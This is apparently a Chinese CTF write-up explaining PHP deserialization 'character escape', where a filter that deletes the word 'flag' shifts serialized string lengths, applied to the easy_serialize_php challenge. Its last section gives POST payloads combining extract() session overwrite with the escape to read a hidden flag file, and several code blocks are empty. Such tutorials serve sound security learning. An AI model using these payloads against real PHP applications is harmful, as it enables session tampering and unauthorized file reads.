PHP反序列化字符逃逸
php反序列化字符逃逸
特性一
PHP在反序列化时,对象中不存在的属性也会进行序列化
1 |
|
得到的结果是如图所示
可以看到我们的test1属性是不存在的!但事实上并不影响我们进行序列化操作。
特性二
PHP在反序列化时,底层代码是以 ; 作为字段的分隔,,以 } 作为结尾(字符串除外),并根据长度来判断内容。
我们可以将序列化后的代码作为字符串赋值给给一个变量,然后得到结果。
源码
1 |
|
返回值
1 | ["__PHP_Incomplete_Class_Name"]=> |
一般的我们会认为,只要增加或除去字符串中的任意一个字符都会导致反序列化的失败。但事实并非如此,如果将源码的$s给其更改为
1 | 'O:4:"Test":2:{s:4:"test";s:4:"test";s:5:"test1";s:4:"test";}i:1;s:5:"aaaaa";'; |
得到的返回值没发生变化。说明反序列化的过程是有一定的识别范围的,在这个范围之外的字符都会被忽略,不影响夫序列化的正常进行。
但是如果我们修改它的长度,就会发生报错。
1 |
|
返回报错!!
特性三
例子源码(选自安洵杯easy_serialize_php)
1 |
|
结果为
1 | a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} |
假设后台存在一个过滤机制,将包含flag的字符替换为空,那么以上序列化字符串过滤结果为
1 | a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} |
然后我们可以想一下,如果我们将这字符串反序列化之后会得到什么呢?
1 | array(3) { |
看的不明显的话,我将原来的也反序列化一下
1 | array(3) { |
这样一来就很明显了。我们来分析下,关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看是否满足序列化的规则,也即读取 s:8:”function”;s:59:”a” , 读取这24个字符后以;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果如上所示!!
easy_serialize_php
题目分析
打开题目得到源码,不长
1 |
|
审计的时候看到了一个熟悉的phpinfo所以就将phpinfo传给f得到回显。发现了这个
可以看到auto_append_file设置了php代码执行结束后加载的一个文件,猜测这就是flag了,要用show_image来读它.如果直f=show_image&img_path=d0g3_f1ag.php
的话会被sha1放入$_SESSION
而这里只有b64解码,又看到了extract,想到可以变量覆盖,使我们有机会直接修改_SESSION
再来回头看刚刚session数组。
刚刚过滤掉了flag后写成session数组的形式为
1 | $_SESSION["user"]='";s:8:"function";s:59:"a'; |
可以发现sessions数组的键值img对应发生了改变。原来我们是无法控制img的值。但是通过这种方法,就可以间接控制到img的值。由于过滤掉了flag,所以就向后读取,读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码。读取d0g3_f1ag.php的值,而识别完成后最后面的 s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;} 被忽略掉了,不影响正常的反序列化过程!
题目详解
经过上面的理解,下面就开始构造payload
首先payload get : f=show_image
post: _SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}
回显得到
1 |
|
然后将base64(d0g3_fllllllag)=L2QwZzNfZmxsbGxsbGFn
然后构造payload get:f=show_image
post:
_SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}
得到flag!!